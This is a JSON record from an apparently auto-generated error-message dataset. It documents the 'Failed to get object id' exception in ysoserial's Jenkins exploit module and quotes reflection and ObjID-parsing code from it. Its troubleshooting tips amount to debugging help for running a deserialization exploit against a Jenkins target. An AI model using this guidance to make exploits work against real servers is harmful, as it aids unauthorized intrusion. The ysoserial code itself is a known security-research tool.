{"record":{"id":"8cdbdf12adc8e1aa","repo":"frohoff/ysoserial","slug":"failed-to-get-object-id","errorCode":null,"errorMessage":"Failed to get object id","messagePattern":"Failed to get object id","errorType":"exception","errorClass":"Exception","httpStatus":null,"severity":"error","filePath":"src/main/java/ysoserial/exploit/JenkinsListener.java","lineNumber":133,"sourceCode":"\n\n    private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )\n            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {\n        Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);\n        Reflections.setAccessible(reqCons);\n        return reqCons\n                .newInstance(oid, JarLoader.class.getMethod(\"isPresentOnRemote\", Class.forName(\"hudson.remoting.Checksum\")), new Object[] {\n                    uro,\n        });\n    }\n\n\n    private static void parseObjIdAndExploit ( final String[] args, final Class<? extends ObjectPayload> payloadClass, int jrmpPort,\n            InetSocketAddress isa, Exception e ) throws Exception, IOException {\n        String msg = e.getMessage();\n        int start = msg.indexOf(\"objID:[\");\n        if ( start < 0 ) {\n            throw new Exception(\"Failed to get object id\");\n        }\n\n        int sep = msg.indexOf(\", \", start + 1);\n\n        if ( sep < 0 ) {\n            throw new Exception(\"Failed to get object id, separator\");\n        }\n\n        int end = msg.indexOf(\"]\", sep + 1);\n\n        if ( end < 0 ) {\n            throw new Exception(\"Failed to get object id, separator\");\n        }\n\n        String uid = msg.substring(start + 7, sep);\n        String objNum = msg.substring(sep + 2, end);\n\n        System.err.println(\"* UID is \" + uid);","sourceCodeStart":115,"sourceCodeEnd":151,"githubUrl":"https://github.com/frohoff/ysoserial/blob/218bcffcaaa904a4e392f0c15d9e2874533635a3/src/main/java/ysoserial/exploit/JenkinsListener.java#L115-L151","documentation":"JenkinsListener.parseObjIdAndExploit parses the objID out of an exception message expected to contain 'objID:[' (as produced by a failed JRMP round trip). If the message does not contain that marker (start < 0), it throws Exception(\"Failed to get object id\").","triggerScenarios":"The upstream exception's getMessage() lacks the substring 'objID:[' — e.g. the connection failed before the server echoed the ObjID, the error message format changed across Java/Jenkins versions, or a different exception type was passed in.","commonSituations":"Target Jenkins/Java version whose RMI exception message format differs (Java changed UID/ObjID toString formats across versions); connection refused so no objID is ever echoed; catching a different exception than the expected MarshalException.","solutions":["Verify the target is reachable and the JRMP round trip actually happens (fix connection errors first)","Check the actual exception message text; adjust the parsing marker if the format differs in your Java version","Print e.getMessage() before parsing to debug what the server returned","Ensure you are catching the specific exception that carries the objID, not an earlier failure"],"exampleFix":null,"handlingStrategy":"try-catch","validationCode":"if (e.getMessage() == null || !e.getMessage().contains(\"objID:[\")) {\n    throw new IllegalStateException(\"upstream message lacks objID marker: \" + e.getMessage());\n}","typeGuard":null,"tryCatchPattern":"try {\n    parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e);\n} catch (Exception ex) {\n    if (ex.getMessage().equals(\"Failed to get object id\")) {\n        // log the original message; fix connectivity or version mismatch first\n    }\n}","preventionTips":["Ensure the target is reachable so the server actually echoes the objID","Log the raw exception message on every target Java version; format varies across JDKs","Catch the specific exception carrying the objID, not earlier failures"],"tags":["java","rmi","jenkins","parsing"],"backgroundTag":"unexpected-response-shape","analyzedSha":"218bcffcaaa904a4e392f0c15d9e2874533635a3","analyzedAt":"2026-09-12T01:53:58.488Z","contentChangedAt":"2026-09-12T01:53:58.488Z","schemaVersion":2},"datasetVersion":"2026-09-16T04:17:20.429Z"}